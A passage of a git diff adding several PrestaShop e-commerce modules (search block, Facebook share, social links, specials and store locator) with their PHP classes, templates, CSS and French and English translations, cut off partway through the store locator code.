        +{include file="$self/blocksearch-instantsearch.tpl"} + diff --git a/modules/blocksearch/img/bg_search_input.png b/modules/blocksearch/img/bg_search_input.png new file mode 100755 index 0000000..92db89a Binary files /dev/null and b/modules/blocksearch/img/bg_search_input.png differ diff --git a/modules/blocksearch/img/bg_search_submit.png b/modules/blocksearch/img/bg_search_submit.png new file mode 100755 index 0000000..4a44d03 Binary files /dev/null and b/modules/blocksearch/img/bg_search_submit.png differ diff --git a/modules/blocksearch/img/index.php b/modules/blocksearch/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocksearch/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocksearch/index.php b/modules/blocksearch/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocksearch/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocksearch/logo.gif b/modules/blocksearch/logo.gif new file mode 100755 index 0000000..cf3d97f Binary files /dev/null and b/modules/blocksearch/logo.gif differ diff --git a/modules/blocksearch/logo.png b/modules/blocksearch/logo.png new file mode 100755 index 0000000..82f36f6 Binary files /dev/null and b/modules/blocksearch/logo.png differ diff --git a/modules/blocksearch/translations/en.php b/modules/blocksearch/translations/en.php new file mode 100755 index 0000000..4fb2e14 --- /dev/null +++ b/modules/blocksearch/translations/en.php @@ -0,0 +1,7 @@ +blocksearch_52d578d063d6101bbdae388ece037e60'] = 'Enter a product name or description.'; +$_MODULE['<{blocksearch}prestashop>blocksearch_34d1f91fb2e514b8576fab1a75a89a6b'] = 'Go!'; diff --git a/modules/blocksearch/translations/fr.php b/modules/blocksearch/translations/fr.php new file mode 100755 index 0000000..8795c4d --- /dev/null +++ b/modules/blocksearch/translations/fr.php @@ -0,0 +1,13 @@ +blocksearch_e2ca130372651672ba285abd796412ed'] = 'Bloc recherche rapide'; +$_MODULE['<{blocksearch}prestashop>blocksearch_be305c865235f417d9b4d22fcdf9f1c5'] = 'Ajoute un bloc avec un champ de recherche rapide'; +$_MODULE['<{blocksearch}prestashop>blocksearch_13348442cc6a27032d2b4aa28b75a5d3'] = 'Rechercher'; +$_MODULE['<{blocksearch}prestashop>blocksearch_3d4999b5a4129d6c189f50d6f977b846'] = 'Saisissez un nom de produit'; +$_MODULE['<{blocksearch}prestashop>blocksearch_1fb103afe92d693ae23d0463b185a9a7'] = 'ok'; +$_MODULE['<{blocksearch}prestashop>blocksearch_52d578d063d6101bbdae388ece037e60'] = 'Saisissez un nom de produit'; +$_MODULE['<{blocksearch}prestashop>blocksearch_34d1f91fb2e514b8576fab1a75a89a6b'] = 'ok'; +$_MODULE['<{blocksearch}prestashop>blocksearch-top_13348442cc6a27032d2b4aa28b75a5d3'] = 'Rechercher'; diff --git a/modules/blocksearch/translations/index.php b/modules/blocksearch/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocksearch/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocksharefb/blocksharefb.php b/modules/blocksharefb/blocksharefb.php new file mode 100755 index 0000000..c34bd8b --- /dev/null +++ b/modules/blocksharefb/blocksharefb.php @@ -0,0 +1,78 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_CAN_LOAD_FILES_')) + exit; + +class blocksharefb extends Module +{ + public function __construct() + { + $this->name = 'blocksharefb'; + if(version_compare(_PS_VERSION_, '1.4.0.0') >= 0) + $this->tab = 'front_office_features'; + else + $this->tab = 'Blocks'; + $this->version = '1.0'; + + parent::__construct(); + + $this->displayName = $this->l('Facebook sharing block.'); + $this->description = $this->l('Allows customers to share your products -- or website content -- on Facebook. '); + } + + public function install() + { + return (parent::install() AND $this->registerHook('extraLeft')); + } + + public function uninstall() + { + //Delete configuration + return (parent::uninstall() AND $this->unregisterHook(Hook::getIdByName('extraLeft'))); + } + + public function hookExtraLeft($params) + { + global $smarty, $cookie, $link; + + $id_product = Tools::getValue('id_product'); + + if (isset($id_product) && $id_product != '') + { + $product_infos = new Product((int)$id_product, true, $cookie->id_lang); + $smarty->assign(array( + 'product_link' => urlencode($link->getProductLink($product_infos)), + 'product_title' => urlencode($product_infos->name), + )); + + return $this->display(__FILE__, 'blocksharefb.tpl'); + } else { + return ''; + } + } +} +?> diff --git a/modules/blocksharefb/blocksharefb.tpl b/modules/blocksharefb/blocksharefb.tpl new file mode 100755 index 0000000..ca084cb --- /dev/null +++ b/modules/blocksharefb/blocksharefb.tpl @@ -0,0 +1,28 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
      • + {l s='Share on Facebook!' mod='blocksharefb'} +
      • \ No newline at end of file diff --git a/modules/blocksharefb/index.php b/modules/blocksharefb/index.php new file mode 100755 index 0000000..07830d9 --- /dev/null +++ b/modules/blocksharefb/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/modules/blocksharefb/logo.gif b/modules/blocksharefb/logo.gif new file mode 100755 index 0000000..6a5b26b Binary files /dev/null and b/modules/blocksharefb/logo.gif differ diff --git a/modules/blocksharefb/logo.png b/modules/blocksharefb/logo.png new file mode 100755 index 0000000..b6ec42c Binary files /dev/null and b/modules/blocksharefb/logo.png differ diff --git a/modules/blocksharefb/translations/en.php b/modules/blocksharefb/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/blocksharefb/translations/fr.php b/modules/blocksharefb/translations/fr.php new file mode 100755 index 0000000..5ab674c --- /dev/null +++ b/modules/blocksharefb/translations/fr.php @@ -0,0 +1,8 @@ +blocksharefb_cbe5bf6cf027e9f9e6cc0e8d725ebfa6'] = 'Bloc Partager sur Facebook'; +$_MODULE['<{blocksharefb}prestashop>blocksharefb_f96f72b5ba39796e728cc55ddd1672cb'] = 'Ajoute un bloc permettant d\'avoir un lien \"Partager sur Facebook\" sur les pages produits.'; +$_MODULE['<{blocksharefb}prestashop>blocksharefb_353005a70db1e1dac3aadedec7596bd7'] = 'Partager sur Facebook'; diff --git a/modules/blocksharefb/translations/index.php b/modules/blocksharefb/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocksharefb/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocksocial/blocksocial.jpg b/modules/blocksocial/blocksocial.jpg new file mode 100755 index 0000000..31d9db6 Binary files /dev/null and b/modules/blocksocial/blocksocial.jpg differ diff --git a/modules/blocksocial/blocksocial.php b/modules/blocksocial/blocksocial.php new file mode 100755 index 0000000..f3394f3 --- /dev/null +++ b/modules/blocksocial/blocksocial.php @@ -0,0 +1,109 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_CAN_LOAD_FILES_')) + exit; + +class blocksocial extends Module +{ + public function __construct() + { + $this->name = 'blocksocial'; + $this->tab = 'front_office_features'; + $this->version = '1.0'; + + parent::__construct(); + + $this->displayName = $this->l('Social networking block'); + $this->description = $this->l('Allows you to add information about your brand\'s social networking sites.'); + } + + public function install() + { + return (parent::install() AND Configuration::updateValue('blocksocial_facebook', '') && Configuration::updateValue('blocksocial_twitter', '') && Configuration::updateValue('blocksocial_rss', '') AND Configuration::updateValue('blocksocial_instagram', '') && $this->registerHook('displayHeader') && $this->registerHook('displayFooter')); + } + + public function uninstall() + { + //Delete configuration + return (Configuration::deleteByName('blocksocial_facebook') AND Configuration::deleteByName('blocksocial_twitter') AND Configuration::deleteByName('blocksocial_rss') AND Configuration::deleteByName('blocksocial_instagram') AND parent::uninstall()); + } + + public function getContent() + { + // If we try to update the settings + $output = ''; + if (isset($_POST['submitModule'])) + { + Configuration::updateValue('blocksocial_facebook', (($_POST['facebook_url'] != '') ? $_POST['facebook_url']: '')); + Configuration::updateValue('blocksocial_twitter', (($_POST['twitter_url'] != '') ? $_POST['twitter_url']: '')); + Configuration::updateValue('blocksocial_rss', (($_POST['rss_url'] != '') ? $_POST['rss_url']: '')); + Configuration::updateValue('blocksocial_instagram', (($_POST['instagram_url'] != '') ? $_POST['instagram_url']: '')); + $this->_clearCache('blocksocial.tpl'); + $output = '
        '.$this->l('Configuration updated').'
        '; + } + + return ' +

        '.$this->displayName.'

        + '.$output.' +
        +
        + + +
         
        + + +
         
        + + +
         
        + + +
         
        +
        +
        +
        '; + } + + public function hookDisplayHeader() + { + $this->context->controller->addCSS(($this->_path).'blocksocial.css', 'all'); + } + + public function hookDisplayFooter() + { + if (!$this->isCached('blocksocial.tpl', $this->getCacheId())) + $this->smarty->assign(array( + 'facebook_url' => Configuration::get('blocksocial_facebook'), + 'twitter_url' => Configuration::get('blocksocial_twitter'), + 'rss_url' => Configuration::get('blocksocial_rss'), + 'instagram_url' => Configuration::get('blocksocial_instagram') + )); + + return $this->display(__FILE__, 'blocksocial.tpl', $this->getCacheId()); + } +} +?> diff --git a/modules/blocksocial/blocksocial.tpl b/modules/blocksocial/blocksocial.tpl new file mode 100755 index 0000000..55f90ac --- /dev/null +++ b/modules/blocksocial/blocksocial.tpl @@ -0,0 +1,34 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA + +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        +

        {l s='Follow us' mod='blocksocial'}

        + +
        diff --git a/modules/blocksocial/img/index.php b/modules/blocksocial/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocksocial/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocksocial/img/sprite_pict_social_block.png b/modules/blocksocial/img/sprite_pict_social_block.png new file mode 100755 index 0000000..64984a2 Binary files /dev/null and b/modules/blocksocial/img/sprite_pict_social_block.png differ diff --git a/modules/blocksocial/index.php b/modules/blocksocial/index.php new file mode 100755 index 0000000..07830d9 --- /dev/null +++ b/modules/blocksocial/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../'); +exit; \ No newline at end of file diff --git a/modules/blocksocial/logo.gif b/modules/blocksocial/logo.gif new file mode 100755 index 0000000..de61441 Binary files /dev/null and b/modules/blocksocial/logo.gif differ diff --git a/modules/blocksocial/logo.png b/modules/blocksocial/logo.png new file mode 100755 index 0000000..e2fb5fc Binary files /dev/null and b/modules/blocksocial/logo.png differ diff --git a/modules/blocksocial/translations/en.php b/modules/blocksocial/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/blocksocial/translations/fr.php b/modules/blocksocial/translations/fr.php new file mode 100755 index 0000000..9195687 --- /dev/null +++ b/modules/blocksocial/translations/fr.php @@ -0,0 +1,19 @@ +blocksocial_3c3fcc2aa9705117ce4b589ed5a72853'] = 'Bloc social'; +$_MODULE['<{blocksocial}prestashop>blocksocial_012a4601e8b615cf6aea084a1b334889'] = 'Permet d\'ajouter des informations supplémentaires concernant les réseaux sociaux'; +$_MODULE['<{blocksocial}prestashop>blocksocial_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{blocksocial}prestashop>blocksocial_f95f7cbc540537a1010c5b545eb67339'] = 'URL Facebook :'; +$_MODULE['<{blocksocial}prestashop>blocksocial_e62adc7f2754307e0a31f145e29f6be1'] = 'URL Twitter :'; +$_MODULE['<{blocksocial}prestashop>blocksocial_77e4dcd265e823af4b5d59f6fa23dfa3'] = 'URL du flux RSS :'; +$_MODULE['<{blocksocial}prestashop>blocksocial_b17f3f4dcf653a5776792498a9b44d6a'] = 'Mettre à jour les paramètres'; +$_MODULE['<{blocksocial}prestashop>blocksocial_d918f99442796e88b6fe5ad32c217f76'] = 'Nous suivre'; +$_MODULE['<{blocksocial}prestashop>blocksocial_d85544fce402c7a2a96a48078edaf203'] = 'Facebook'; +$_MODULE['<{blocksocial}prestashop>blocksocial_2491bc9c7d8731e1ae33124093bc7026'] = 'Twitter'; +$_MODULE['<{blocksocial}prestashop>blocksocial_bf1981220040a8ac147698c85d55334f'] = 'RSS'; +$_MODULE['<{blocksocial}prestashop>blockspecials_d1aa22a3126f04664e0fe3f598994014'] = 'Réductions'; +$_MODULE['<{blocksocial}prestashop>blockspecials_b4f95c1ea534936cc60c6368c225f480'] = 'Toutes les promos'; +$_MODULE['<{blocksocial}prestashop>blockspecials_fd21fcc9fc4c1d5202d6fc11597b3fca'] = 'Pas de réduction en ce moment'; diff --git a/modules/blocksocial/translations/index.php b/modules/blocksocial/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocksocial/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockspecials/blockspecials.css b/modules/blockspecials/blockspecials.css new file mode 100755 index 0000000..30dfb46 --- /dev/null +++ b/modules/blockspecials/blockspecials.css @@ -0,0 +1,55 @@ +/* Block specials */ +#special_block_right p { + padding-bottom:0; + font-weight:bold; + text-align:right +} + +#special_block_right p.title_block, #special_block_right h4 { + padding:6px 11px; + text-align:left +} +#special_block_right .products li { + padding:15px 0; + width: 130px; + border:none; +} +#special_block_right li .s_title_block, #special_block_right li h5 { + padding:0 0 3px 0; + font-size:12px; + text-align:left; +} +#special_block_right .products li a { + padding:0; + background:none +} +#special_block_right li.product_image { + padding-right:10px; + width:62px; +} + +#special_block_right .products span.price-discount { + font-size:14px; + text-decoration:line-through +} +#special_block_right .products span.reduction { + display:block; + float:right; + padding:0 0 0 10px; + font-weight:bold; + font-size:12px; + color:#fff; + background:url(img/bg_reduction.png) no-repeat 0 0 +} + #special_block_right .products span.reduction span { + display:block; + padding:1px 5px 1px 0; + background:url(img/bg_reduction.png) no-repeat 100% 0 + } +#special_block_right .products span.price { + display:block; + padding:3px 0 0 0; + font-weight:bold; + font-size:14px; + color:#900 +} diff --git a/modules/blockspecials/blockspecials.php b/modules/blockspecials/blockspecials.php new file mode 100755 index 0000000..24d03fb --- /dev/null +++ b/modules/blockspecials/blockspecials.php @@ -0,0 +1,113 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockSpecials extends Module +{ + private $_html = ''; + private $_postErrors = array(); + + function __construct() + { + $this->name = 'blockspecials'; + $this->tab = 'pricing_promotion'; + $this->version = '0.8'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Specials block'); + $this->description = $this->l('Adds a block displaying current product specials.'); + } + + public function install() + { + return (parent::install() AND $this->registerHook('rightColumn') AND $this->registerHook('header')); + } + + public function getContent() + { + $output = '

        '.$this->displayName.'

        '; + if (Tools::isSubmit('submitSpecials')) + { + Configuration::updateValue('PS_BLOCK_SPECIALS_DISPLAY', (int)(Tools::getValue('always_display'))); + $output .= '
        '.$this->l('Settings updated').'
        '; + } + return $output.$this->displayForm(); + } + + public function displayForm() + { + return ' +
        +
        + '.$this->l('Settings').' + +
        + + + + +

        '.$this->l('Show the block even if no product is available.').'

        +
        +
        +
        +
        '; + } + + public function hookRightColumn($params) + { + if (Configuration::get('PS_CATALOG_MODE')) + return ; + + if (!($special = Product::getRandomSpecial((int)$params['cookie']->id_lang)) && !Configuration::get('PS_BLOCK_SPECIALS_DISPLAY')) + return; + + $this->smarty->assign(array( + 'special' => $special, + 'priceWithoutReduction_tax_excl' => Tools::ps_round($special['price_without_reduction'], 2), + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + )); + + return $this->display(__FILE__, 'blockspecials.tpl'); + } + + public function hookLeftColumn($params) + { + return $this->hookRightColumn($params); + } + + public function hookHeader($params) + { + if (Configuration::get('PS_CATALOG_MODE')) + return ; + $this->context->controller->addCSS(($this->_path).'blockspecials.css', 'all'); + } +} + diff --git a/modules/blockspecials/blockspecials.tpl b/modules/blockspecials/blockspecials.tpl new file mode 100755 index 0000000..a663585 --- /dev/null +++ b/modules/blockspecials/blockspecials.tpl @@ -0,0 +1,61 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='Specials' mod='blockspecials'}

        +
        + +{if $special} +
          +
        • + {$special.legend|escape:html:'UTF-8'} +
        • +
        • + {if !$PS_CATALOG_MODE} + {if $special.specific_prices} + {assign var='specific_prices' value=$special.specific_prices} + {if $specific_prices.reduction_type == 'percentage' && ($specific_prices.from == $specific_prices.to OR ($smarty.now|date_format:'%Y-%m-%d %H:%M:%S' <= $specific_prices.to && $smarty.now|date_format:'%Y-%m-%d %H:%M:%S' >= $specific_prices.from))} + -{$specific_prices.reduction*100|floatval}% + {/if} + {/if} + {/if} + +
          {$special.name|escape:html:'UTF-8'}
          + {if !$PS_CATALOG_MODE} + {if !$priceDisplay}{displayWtPrice p=$special.price_without_reduction}{else}{displayWtPrice p=$priceWithoutReduction_tax_excl}{/if} + {if !$priceDisplay}{displayWtPrice p=$special.price}{else}{displayWtPrice p=$special.price_tax_exc}{/if} + {/if} +
        • +
        +

        + » {l s='All specials' mod='blockspecials'} +

        +{else} +

        {l s='No product specials are available at this time.' mod='blockspecials'}

        +{/if} +
        +
        + \ No newline at end of file diff --git a/modules/blockspecials/img/bg_reduction.png b/modules/blockspecials/img/bg_reduction.png new file mode 100755 index 0000000..2a1cbd9 Binary files /dev/null and b/modules/blockspecials/img/bg_reduction.png differ diff --git a/modules/blockspecials/img/index.php b/modules/blockspecials/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockspecials/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockspecials/index.php b/modules/blockspecials/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockspecials/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockspecials/logo.gif b/modules/blockspecials/logo.gif new file mode 100755 index 0000000..f375119 Binary files /dev/null and b/modules/blockspecials/logo.gif differ diff --git a/modules/blockspecials/logo.png b/modules/blockspecials/logo.png new file mode 100755 index 0000000..5991937 Binary files /dev/null and b/modules/blockspecials/logo.png differ diff --git a/modules/blockspecials/translations/en.php b/modules/blockspecials/translations/en.php new file mode 100755 index 0000000..cd5e2ac --- /dev/null +++ b/modules/blockspecials/translations/en.php @@ -0,0 +1,6 @@ +blockspecials_fd21fcc9fc4c1d5202d6fc11597b3fca'] = 'No product specials are available at this time.'; diff --git a/modules/blockspecials/translations/fr.php b/modules/blockspecials/translations/fr.php new file mode 100755 index 0000000..018ced9 --- /dev/null +++ b/modules/blockspecials/translations/fr.php @@ -0,0 +1,18 @@ +blockspecials_c19ed4ea98cbf319735f6d09bde6c757'] = 'Bloc promotions'; +$_MODULE['<{blockspecials}prestashop>blockspecials_42bcf407ca1621390ed7cbea2b2c0c62'] = 'Ajoute un bloc proposant les produits en promotion actuellement'; +$_MODULE['<{blockspecials}prestashop>blockspecials_c888438d14855d7d96a2724ee9c306bd'] = 'Paramètres mis à jour'; +$_MODULE['<{blockspecials}prestashop>blockspecials_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blockspecials}prestashop>blockspecials_41385d2dca40c2a2c7062ed7019a20be'] = 'Toujours afficher ce bloc'; +$_MODULE['<{blockspecials}prestashop>blockspecials_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{blockspecials}prestashop>blockspecials_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{blockspecials}prestashop>blockspecials_a8a670d89a6d2f3fa59942fc591011ef'] = 'Afficher le bloc même si aucun produit n\'est disponible'; +$_MODULE['<{blockspecials}prestashop>blockspecials_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockspecials}prestashop>blockspecials_d1aa22a3126f04664e0fe3f598994014'] = 'Promotions'; +$_MODULE['<{blockspecials}prestashop>blockspecials_b4f95c1ea534936cc60c6368c225f480'] = 'Toutes les promos'; +$_MODULE['<{blockspecials}prestashop>blockspecials_077a28bcf4e93718e678ec57128669a3'] = 'Pas de promotion actuellement'; +$_MODULE['<{blockspecials}prestashop>blockspecials_fd21fcc9fc4c1d5202d6fc11597b3fca'] = 'Pas de promotion actuellement'; diff --git a/modules/blockspecials/translations/index.php b/modules/blockspecials/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockspecials/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockstore/blockstore.php b/modules/blockstore/blockstore.php new file mode 100755 index 0000000..a559ab7 --- /dev/null +++ b/modules/blockstore/blockstore.php @@ -0,0 +1,134 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockStore extends Module +{ + public function __construct() + { + $this->name = 'blockstore'; + $this->tab = 'front_office_features'; + $this->version = 1.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Store locator block'); + $this->description = $this->l('Displays a store locator link directly on your webiste.'); + } + + public function install() + { + Configuration::updateValue('BLOCKSTORE_IMG', 'store.jpg'); + return parent::install() && $this->registerHook('rightColumn') && $this->registerHook('header'); + } + + public function uninstall() + { + Configuration::deleteByName('BLOCKSTORE_IMG'); + return parent::uninstall(); + } + + public function hookLeftColumn($params) + { + return $this->hookRightColumn($params); + } + + public function hookRightColumn($params) + { + if (!$this->isCached('blockstore.tpl', $this->getCacheId())) + { + $this->smarty->assign('store_img', Configuration::get('BLOCKSTORE_IMG')); + $sql = 'SELECT COUNT(*) + FROM '._DB_PREFIX_.'store s' + .Shop::addSqlAssociation('store', 's'); + $total = Db::getInstance()->getValue($sql); + + if ($total <= 0) + return; + } + return $this->display(__FILE__, 'blockstore.tpl', $this->getCacheId()); + + } + + public function hookHeader($params) + { + $this->context->controller->addCSS($this->_path.'blockstore.css', 'all'); + } + + public function postProcess() + { + if (Tools::isSubmit('submitStoreConf')) + { + if (isset($_FILES['store_img']) && isset($_FILES['store_img']['tmp_name']) && !empty($_FILES['store_img']['tmp_name'])) + { + if ($error = ImageManager::validateUpload($_FILES['store_img'], 4000000)) + return $this->displayError($this->l('Invalid image')); + else + { + if (!move_uploaded_file($_FILES['store_img']['tmp_name'], dirname(__FILE__).'/'.$_FILES['store_img']['name'])) + return $this->displayError($this->l('An error occurred while attempting to upload the file.')); + else + { + if 